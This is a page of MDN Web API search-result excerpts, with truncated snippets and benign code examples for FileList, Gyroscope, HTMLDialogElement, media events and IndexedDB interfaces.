... this specification is more or less abandoned as it didn't get significant traction among browser makers.
... basic concepts to write content to file, create a filewriter object by calling createwriter().
...And 2 more matches
FileList - Web APIs
WebAPIFileList
ample, if the html includes the following file input: <input id="fileitem" type="file"> the following line of code fetches the first file in the node's file list as a file object: var file = document.getelementbyid('fileitem').files[0]; method overview file item(index); properties attribute type description length integer a read-only value indicating the number of files in the list.
... <!doctype html> <html> <head> </head> <body> <!--multiple is set to allow multiple files to be selected--> <input id="myfiles" multiple type="file"> </body> <script> var pullfiles=function(){ // love the query selector var fileinput = document.queryselector("#myfiles"); var files = fileinput.files; // cache files.length var fl = files.length; var i = 0; while ( i < fl) { // localize file var in the loop var file = files[i]; alert(file.name); i++; } } // set the input element onchange to call pullfiles document.queryselector("#myfiles").onchange=pullfiles; //a.t </script> </html> specifications specification status comment ...
... file apithe definition of 'filelist' in that specification.
...And 2 more matches
FileReader.readyState - Web APIs
none of the read methods called yet.
... 1 loading a read method has been called.
... empty the filereader has been created, but no readas method was called yet.
...And 2 more matches
FileReaderSync.readAsBinaryString() - Web APIs
note: this method is deprecated in favor of readasarraybuffer().
... exceptions the following exceptions can be raised by this method: notfounderror is raised when the resource represented by the dom file or blob cannot be found, e.g.
... because it has been erased.
...And 2 more matches
FileSystemEntry.isDirectory - Web APIs
you can also use isfile to determine if the entry is a file.
... syntax var isdirectory = filesystementry.isdirectory; value a boolean indicating whether or not the filesystementry is a directory.
...if the entry is neither, an error handler is called with an appropriate message.
...And 2 more matches
FileSystemEntry.isFile - Web APIs
you can also use isdirectory to determine if the entry is a directory.
... syntax var isfile = filesystementry.isfile; value a boolean indicating whether or not the filesystementry is a file.
...if the entry is neither, an error handler is called with an appropriate message.
...And 2 more matches
FileSystemEntry.name - Web APIs
the read-only name property of the filesystementry interface returns a usvstring specifying the entry's name; this is the entry within its parent directory (the last component of the path as indicated by the fullpath property).
... syntax var name = filesystementry.name; value a usvstring indicating the entry's name.
... example this example shows a function called isfilewithextension() which returns true if the specified filesystementry is both a file and the file's name ends with a given extension.
...And 2 more matches
FullscreenOptions.navigationUI - Web APIs
the fullscreenoptions dictionary's navigationui property is used when calling requestfullscreen() to specify to what extent the user agent should include its standard user interface while the element is presented in full-screen mode.
... "hide" the browser's navigation interface will be hidden and the entire dimensions of the screen will be allocated to the display of the element.
... example in this example, the entire document is placed into full-screen mode by calling requestfullscreen() on the document's document.documentelement, which is the document's root <html> element.
...And 2 more matches
GlobalEventHandlers.onauxclick - Web APIs
specifically, event behavior is being updated so that click only fires for primary button clicks (e.g., left mouse button), while auxclick fires for non-primary button clicks.
... historically, click has generally fired for the click of any device input button, although with browser behavior being somewhat inconsistent.
... only one onauxclick handler can be assigned to an object at a time.
...And 2 more matches
GlobalEventHandlers.onkeypress - Web APIs
the onkeypress event handler has been deprecated.
... html <label>enter numbers only: <input> </label> javascript function numbersonly(event) { return event.charcode === 0 || /\d/.test(string.fromcharcode(event.charcode)); } const input = document.queryselector('input'); input.onkeypress = numbersonly; // prevent pasting (since pasted content might include non-number characters) input.onpaste = event => false; result capture the typing of a hidden word the following javascript function will do something after the user types the word "exit" in any point of a page.
...*/ (function () { const ssecret = /* choose your hidden word...: */ "exit"; let noffset = 0; document.onkeypress = function(opevt) { let oevent = opevt || window.event, nchr = oevent.charcode, snodetype = oevent.target.nodename.touppercase(); if (nchr === 0 || oevent.target.contenteditable.touppercase() === "true" || snodetype === "textarea" || snodetype === "input" && oevent.target.type.touppercase() === "text") { return true; } if (nchr !== ssecret.charcodeat(noffset)) { noffset = nchr === ssecret.charcodeat(0) ?
...And 2 more matches
GlobalEventHandlers.onscroll - Web APIs
only one onscroll handler can be assigned to an object at a time.
... for greater flexibility, you can pass a scroll event to the eventtarget.addeventlistener() method instead.
... example this example monitors scrolling on a <textarea>, and logs the element's vertical scroll position accordingly.
...And 2 more matches
Gyroscope.Gyroscope() - Web APIs
if a feature policy blocks use of a feature, it is because your code is inconsistent with the policies set on your server.
... syntax var gyroscope = new gyroscope([options]) parameters options optional options are as follows: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
... specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
Gyroscope.x - Web APIs
WebAPIGyroscopex
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... example the gyroscope is typically read in the sensor.onreading event callback.
... let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocity along the x-axis " + gyroscope.x); console.log("angular velocity along the y-axis " + gyroscope.y); console.log("angular velocity along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
Gyroscope.y - Web APIs
WebAPIGyroscopey
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... example the gyroscope is typically read in the sensor.onreading event callback.
... let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
Gyroscope.z - Web APIs
WebAPIGyroscopez
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... example the gyroscope is typically read in the sensor.onreading event callback.
... let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
Gyroscope - Web APIs
WebAPIGyroscope
if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... example the gyroscope is typically read in the sensor.onreading event callback.
... let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocity along the x-axis " + gyroscope.x); console.log("angular velocity along the y-axis " + gyroscope.y); console.log("angular velocity along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
...And 2 more matches
HTMLBRElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><l...
... htmlbrelement.clear is a domstring indicating the flow of text around floating objects.
... specifications specification status comment html living standardthe definition of 'htmlbrelement' in that specification.
...And 2 more matches
HTMLBaseFontElement - Web APIs
the <basefont> element has been deprecated in html4 and removed in html5.
... this latest specification requires that this element implements htmlunknownelement rather than htmlbasefontelement.
...if no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system.
...And 2 more matches
HTMLDialogElement.close() - Web APIs
from there you can click the cancel button to close the dialog (via the htmldialogelement.close() method), or submit the form via the submit button.
... --> <dialog id="favdialog"> <form method="dialog"> <section> <p><label for="favanimal">favorite animal:</label> <select id="favanimal" name="favanimal"> <option></option> <option>brine shrimp</option> <option>red panda</option> <option>spider monkey</option> </select></p> </section> <menu> <button id="cancel" type="reset">cancel</button> <button type="submit">confirm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favd...
...; dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also).
...And 2 more matches
HTMLDialogElement.returnValue - Web APIs
the returnvalue property of the htmldialogelement interface gets or sets the return value for the <dialog>, usually to indicate which button the user pressed to close it.
... <!-- simple pop-up dialog box containing a form --> <dialog id="favdialog"> <form method="dialog"> <p><label>favorite animal: <select name="favanimal" required> <option></option> <option>brine shrimp</option> <option>red panda</option> <option>spider monkey</option> </select> </label></p> <menu> <button>cancel</button> <button>confirm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if...
... (dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } function handleuserinput(returnvalue) { if (returnvalue === 'cancel' || returnvalue == null) { // user canceled the dialog, do nothing } else if (returnvalue === 'confirm') { // user chose a favorite animal, do something with it } } // “update details” button opens the <dialog> modally updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); handleuserinput(dialog.returnvalue); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also).
...And 2 more matches
HTMLDialogElement.showModal() - Web APIs
from there you can click the cancel button to close the dialog (via the htmldialogelement.close() method), or submit the form via the submit button.
... --> <dialog id="favdialog"> <form method="dialog"> <section> <p><label for="favanimal">favorite animal:</label> <select id="favanimal" name="favanimal"> <option></option> <option>brine shrimp</option> <option>red panda</option> <option>spider monkey</option> </select></p> </section> <menu> <button id="cancel" type="reset">cancel</button> <button type="submit">confirm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favd...
...; dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also).
...And 2 more matches
HTMLElement: animationstart event - Web APIs
a negative delay will cause the event to fire with an elapsedtime equal to the absolute value of the delay (and, correspondingly, the animation will begin playing at that time index into the sequence).
... bubbles yes cancelable no interface animationevent event handler property onanimationstart examples this listens for the animationstart event and logs a message when it is fired: const animated = document.queryselector('.animated'); animated.addeventlistener('animationstart', () => { console.log('animation started'); }); the same, but using onanimationstart: const animated = document.queryselector('.animated'); animated.onanimationstart = () => { console.log('animation started'); }; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <...
...div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: 0.2rem; padding: 0.2rem; } .animation.active { animation-duration: 2s; animation-name: slidein; animation-iteration-count: 2; } @keyframes slidein { from { transform: translatex(100%) scalex(3); } to { transform: translatex(0) scalex(1); } } js const animation = document.queryselector('p.animation'); const animationeventlog = document.queryselector('.animation-example>.event-log'); const applyanimation = document.queryselector('.animation-example>button.activate'); let iterationcount = 0; animation.addeventlistener('animationstart', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'...
...And 2 more matches
HTMLElement.contentEditable - Web APIs
this enumerated attribute can have the following values: 'true' indicates that the element is contenteditable.
... 'false' indicates that the element cannot be edited.
... 'inherit' indicates that the element inherits its parent's editable status.
...And 2 more matches
HTMLElement.isContentEditable - Web APIs
syntax editable = element.iscontenteditable example html <p id="mytext1">uneditable paragraph</p> <p id="mytext2" contenteditable="true">editable paragraph</p> <p id="infotext1">can edit the first paragraph?
... </p> <p id="infotext2">can edit the second paragraph?
... </p> javascript document.getelementbyid('infotext1').innerhtml += document.getelementbyid('mytext1').iscontenteditable; document.getelementbyid('infotext2').innerhtml += document.getelementbyid('mytext2').iscontenteditable; result specifications specification status comment html living standardthe definition of 'htmlelement.contenteditable' in that specification.
...And 2 more matches
HTMLElement.offsetHeight - Web APIs
the htmlelement.offsetheight read-only property returns the height of an element, including vertical padding and borders, as an integer.
... typically, offsetheight is a measurement in pixels of the element's css height, including any borders, padding, and horizontal scrollbars (if rendered).
...these elements are typically contained within scrollable elements; consequently, these non-scrollable elements may be completely or partly invisible, depending on the scrolltop setting of the scrollable container.
...And 2 more matches
HTMLElement.title - Web APIs
WebAPIHTMLElementtitle
syntax var str = element.title; element.title = str; example const link = document.createelement('a'); link.innertext = 'grapes'; link.href = 'https://en.wikipedia.org/wiki/grape'; link.title = 'wikipedia page on grapes'; specifications specification status comment html living standardthe definition of 'title' in that specification.
... living standard no change from document object model (dom) level 2 html specification.
... document object model (dom) level 2 html specificationthe definition of 'title' in that specification.
...And 2 more matches
HTMLFormElement: reset event - Web APIs
bubbles yes (although specified as a simple event that doesn't bubble) cancelable yes interface event event handler property globaleventhandlers.onreset examples this example uses eventtarget.addeventlistener() to listen for form resets, and logs the current event.timestamp whenever that occurs.
...time stamp: ${event.timestamp}`; } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.addeventlistener('reset', logreset); result specifications specification status comment html living standardthe definition of 'reset' in that specification.
... working draft no change html 5.2the definition of 'reset' in that specification.
...And 2 more matches
HTMLImageElement.complete - Web APIs
the read-only htmlimageelement interface's complete attribute is a boolean value which indicates whether or not the image has completely loaded.
... the image is "broken;" that is, the image failed to load due to an error or because image loading is disabled.
...while ideally this command wouldn't even be executed if the image hasn't fully loaded, for improved reliability you want to check to ensure this is the case.
...And 2 more matches
HTMLImageElement.height - Web APIs
the height property of the htmlimageelement interface indicates the height at which the image is drawn, in css pixels if the image is being drawn or rendered to any visual medium such as the screen or a printer; otherwise, it's the natural, pixel density corrected height of the image.
... syntax htmlimageelement.height = newheight; let height = htmlimageelement.height; value an integer value indicating the height of the image.
... otherwise, the image's height is represented using its natural (intrinsic) height, adjusted for the display density as indicated by naturalheight.
...And 2 more matches
HTMLImageElement.isMap - Web APIs
the htmlimageelement proeprty ismap is a boolean value which indicates that the image is to be used by a server-side image map.
... this may only be used on images located within an <a> element.
... usage notes when an image marked as being part of a server-side image map is clicked, the browser constructs the string "?x,y", where x and y indicate the coordinates at which the mouse was clicked as offsets from the top-left corner of the image, specified in css pixels.
...And 2 more matches
HTMLImageElement.sizes - Web APIs
this provides the ability to automatically select among different images—even images of different orientations or aspect ratios—as the document state changes to match different media conditions.
...because a source size descriptor is used to specify the width to use for the image during layout of the page, the media condition is typically (but not necessarily) based entirely on width information.
...can you believe it?
...And 2 more matches
HTMLImageElement.width - Web APIs
the width property of the htmlimageelement interface indicates the width at which the image is drawn, in css pixels if the image is being drawn or rendered to any visual medium such as the screen or a printer; otherwise, it's the natural, pixel density corrected width of the image.
... syntax htmlimageelement.width = newwidth; let width = htmlimageelement.width; value an integer value indicating the width of the image.
... otherwise, the image's width is represented using its natural (intrinsic) width, adjusted for the display density as indicated by naturalwidth.
...And 2 more matches
HTMLMediaElement.audioTracks - Web APIs
the returned list is live; that is, as tracks are added to and removed from the media element, the list's contents change dynamically.
... once you have a reference to the list, you can monitor it for changes to detect when new audio tracks are added or existing ones removed.
...the list of tracks can be accessed using array notation, or using the object's gettrackbyid() method.
...And 2 more matches
HTMLMediaElement: emptied event - Web APIs
the emptied event is fired when the media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onemptied specification html5 media examples these examples add an event listener for the htmlmediaelement's emptied event, then post a message when that event handler has reacted to the event firing.
...did you call load()?'); }); using the onemptied event handler property: const video = document.queryselector('video'); video.onemptied = (event) => { console.log('uh oh.
...And 2 more matches
HTMLMediaElement: pause event - Web APIs
the pause event is sent when a request to pause an activity is handled and the activity has entered its paused state, most commonly after the media has been paused through a call to the element's pause() method.
... general info bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onpause specification html5 media examples these examples add an event listener for the htmlmediaelement's pause event, then post a message when that event handler has reacted to the event firing.
...either the ' + 'pause() method was called or the autoplay attribute was toggled.'); }); using the onpause event handler property: const video = document.queryselector('video'); video.onpause = (event) => { console.log('the boolean paused property is now true.
...And 2 more matches
HTMLMediaElement: progress event - Web APIs
the progress event is fired periodically as the browser loads a resource.
... bubbles no cancelable no interface event event handler property onprogress examples live example html <div class="example"> <button type="button">load video</button> <video controls width="250"></video> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "button log" "video log"; } button { grid-area: button; width: 10rem; margin: .5rem 0; } video { grid-area: video; } .event-log { grid-area: log; } .event-log>lab...
...advideo = document.queryselector('button'); const video = document.queryselector('video'); const eventlog = document.queryselector('.event-log-contents'); let source = null; function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}\n`; } video.addeventlistener('loadstart', handleevent); video.addeventlistener('progress', handleevent); video.addeventlistener('canplay', handleevent); video.addeventlistener('canplaythrough', handleevent); loadvideo.addeventlistener('click', () => { if (source) { document.location.reload(); } else { loadvideo.textcontent = "reset example"; source = document.createelement('source'); source.setattribute('src', 'https://interactive-examples.mdn.mozilla.net/media/examples/flower.webm');...
...And 2 more matches
HTMLMediaElement: timeupdate event - Web APIs
the timeupdate event is fired when the time indicated by the currenttime attribute has been updated.
...user agents are encouraged to vary the frequency of the event based on the system load and the average cost of processing the event each time, so that the ui updates are not any more frequent than the user agent can comfortably handle while decoding the video.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.ontimeupdate specification html5 media examples these examples add an event listener for the htmlmediaelement's timeupdate event, then post a message when that event handler has reacted to the event firing.
...And 2 more matches
HTMLSelectElement.add() - Web APIs
takes the existing following select object: <select id="existinglist"> <option value="1">option: value 1</option> <option value="2">option: value 2</option> </select> and changes it to: <select id="existinglist"> <option value="1">option: value 1</option> <option value="3">option: value 3</option> <option value="2">option: value 2</option> </select> */ specifications specification status comment html living standardthe definition of 'htmlselectelement.add()' in that specification.
... living standard html5the definition of 'htmlselectelement.add()' in that specification.
... the value of before can now be a long and is optional.
...And 2 more matches
HTMLSourceElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text>...
... note: if the src property is updated (along with any siblings), the parent htmlmediaelement's load method should be called when done, since <source> elements are not re-scanned automatically.
... htmlsourceelement.srcset is a domstring reflecting the srcset html attribute, containing a list of candidate images, separated by a comma (',', u+002c comma).
...And 2 more matches
HTMLSpanElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="11...
... specifications specification status comment html living standardthe definition of 'htmlspanelement' in that specification.
... living standard html 5.2the definition of 'htmlspanelement' in that specification.
...And 2 more matches
HTMLStyleElement.media - Web APIs
et" href="document.css" type="text/css" media="screen" /> <style id="inlinestyle" rel="stylesheet" type="text/css" media="screen, print"> p { color: blue; } </style> </head> <body> <script> alert('linkedstyle: ' + document.getelementbyid('linkedstyle').media); // 'screen' alert('inlinestyle: ' + document.getelementbyid('inlinestyle').media); // 'screen, print' </script> </body> </html> specifications specification status comment html living standardthe definition of 'htmlstyleelement' in that specification.
... living standard html 5.1the definition of 'htmlstyleelement' in that specification.
... recommendation html5the definition of 'htmlstyleelement' in that specification.
...And 2 more matches
HTMLTimeElement.dateTime - Web APIs
ing must follow one of the following html microsyntaxes: microsyntax description examples valid month string yyyy-mm 2011-11, 2013-05 valid date string yyyy-mm-dd 1887-12-01 valid yearless date string mm-dd 11-12 valid time string hh:mm hh:mm:ss hh:mm:ss.mmm 23:59 12:15:47 12:15:52.998 valid local date and time string yyyy-mm-dd hh:mm yyyy-mm-dd hh:mm:ss yyyy-mm-dd hh:mm:ss.mmm yyyy-mm-ddthh:mm yyyy-mm-ddthh:mm:ss yyyy-mm-ddthh:mm:ss.mmm 2013-12-25 11:12 1972-07-25 13:43:07 1941-03-15 07:06:23.678 2013-12-25t11:12 1972-07-25t13:43:07 1941-03-15t07:06:23.678 valid time-zone offset string z +hhmm +hh:mm -hhmm -hh:mm ...
... z +0200 +04:30 -0300 -08:00 valid global date and time string any combination of a valid local date and time string followed by a valid time-zone offset string 2013-12-25 11:12+0200 1972-07-25 13:43:07+04:30 1941-03-15 07:06:23.678z 2013-12-25t11:12-08:00 valid week string yyyy-www 2013-w46 four or more ascii digits yyyy 2013, 0001 valid duration string pddthhmmss pddthhmms.xs pddthhmms.xxs pddthhmms.xxxs pthhmmss pthhmms.xs pthhmms.xxs pthhmms.xxxs ww dd hh mm ss p12dt7h12m13s p12dt7h12m13.3s p12dt7h12m13.45s p12dt7h12m13.455s pt7h12m13s pt7h12m13.2s pt7h12m13.56s pt7h12m13.999s 7d 5h 24m 13s syntax datetimestring = timeelt.datetim...
...e; timeelt.datetime = datetimestring example // assumes there is <time id="t"> element in the html var t = document.getelementbyid("t"); t.datetime = "6w 5h 34m 5s"; specifications specification status comment html living standardthe definition of 'htmltimeelement' in that specification.
...And 2 more matches
HashChangeEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="midd...
... examples syntax options for a hash change you can listen for the hashchange event using any of the following options: window.onhashchange = funcref; or <body onhashchange="funcref();"> or window.addeventlistener("hashchange", funcref, false); basic example function locationhashchanged() { if (location.hash === '#somecoolfeature') { somecoolfeature(); } } window.addeventlistener('hashchange', locationhashchanged); polyfil...
...basically, those scripts check the location.hash at a regular interval.
...And 2 more matches
History.replaceState() - Web APIs
the state object can be null.
... examples suppose https://www.mozilla.org/foo.html executes the following javascript: const stateobj = { foo: 'bar' }; history.pushstate(stateobj, '', 'bar.html'); the explanation of these two lines above can be found in the example of pushstate() method section of the working with the history api article.
... then suppose https://www.mozilla.org/bar.html executes the following javascript: history.replacestate(stateobj, '', 'bar2.html'); this will cause the url bar to display https://www.mozilla.org/bar2.html, but won't cause the browser to load bar2.html or even check that bar2.html exists.
...And 2 more matches
IDBCursor.delete() - Web APIs
WebAPIIDBCursordelete
be aware that you can't call delete() (or idbcursor.update()) on cursors obtained from idbindex.openkeycursor().
... the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...And 2 more matches
IDBCursor.primaryKey - Web APIs
the cursor's primary key can be any data type.
...within each iteration we log the primary key of the cursor to the console, something like this (its the album title in each case, which is our primarykey): hemispheres the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...And 2 more matches
IDBDatabaseSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
... exceptions this method can raise an idbdatabaseexception with the following code: constraint_err if an object store with the same name (based on case-sensitive comparison) already exists in the connected database.
... exceptions this method can raise an idbdatabaseexception with the following code: not_found_err if an object store with the given name (based on case-sensitive comparison) already exists in the connected database.
...And 2 more matches
IDBEnvironment - Web APIs
properties idbenvironment.indexeddb read only provides a mechanism for applications to asynchronously access capabilities of indexed databases; contains an idbfactory object.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbenvironment deprecatednon-standardchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5available in workers deprecatednon-standardchrome full support yesedge full support ≤18firefox full support 37ie ?
...And 2 more matches
IDBKeyRange.bound() - Web APIs
WebAPIIDBKeyRangebound
the bounds can be open (that is, the bounds exclude the endpoint values) or closed (that is, the bounds include the endpoint values).
... loweropen optional indicates whether the lower bound excludes the endpoint value.
... upperopen optional indicates whether the upper bound excludes the endpoint value.
...And 2 more matches
IDBObjectStore.delete() - Web APIs
either a key or an idbkeyrange can be passed, allowing one or multiple records to be deleted from a store.
... bear in mind that if you are using a idbcursor, you can use the idbcursor.delete() method to more efficiently delete the current record — without having to explicitly look up the record's key.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...And 2 more matches
IDBObjectStore.keyPath - Web APIs
if this property is null, the application must provide a key for each modification operation.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.keypath); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.
...And 2 more matches
IDBOpenDBRequest.onupgradeneeded - Web APIs
inside the event handler function you can include code to upgrade the database structure, as shown in the example below.
...}; example in the following example you can see the onupgradeneeded handler being used to update the database structure if a database with a higher version number is loaded.
... for a full working example, see our to-do notifications app (view example live.) var db; // request version 3 of the database.
...And 2 more matches
IDBOpenDBRequest - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monos...
... example in the following example you can see the onupgradeneeded handler being used to update the database structure if a database with a higher version number is loaded.
... for a full working example, see our to-do notifications app (view example live.) var db; // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these event handlers act on the database being opened.
...And 2 more matches
IDBRequest.error - Web APIs
WebAPIIDBRequesterror
in chrome 48+/firefox 58+ this property returns a domexception because domerror has been removed from the dom standard.
... in addition to the error codes sent to the idbrequest object, asynchronous operations can also raise exceptions.
...for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the do-do list with the specified title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstor...
...And 2 more matches
IDBTransaction.mode - Web APIs
transactions of this mode cannot run concurrently with other transactions.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...asktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
...And 2 more matches
IDBTransaction.oncomplete - Web APIs
you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the complete event by creating a transaction using the experimental (non-standard) readwriteflush mode (see idbdatabase.transaction.) this is currently experimental, and can only be used if the dom.indexeddb.experimental pref is set to true in about:config.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
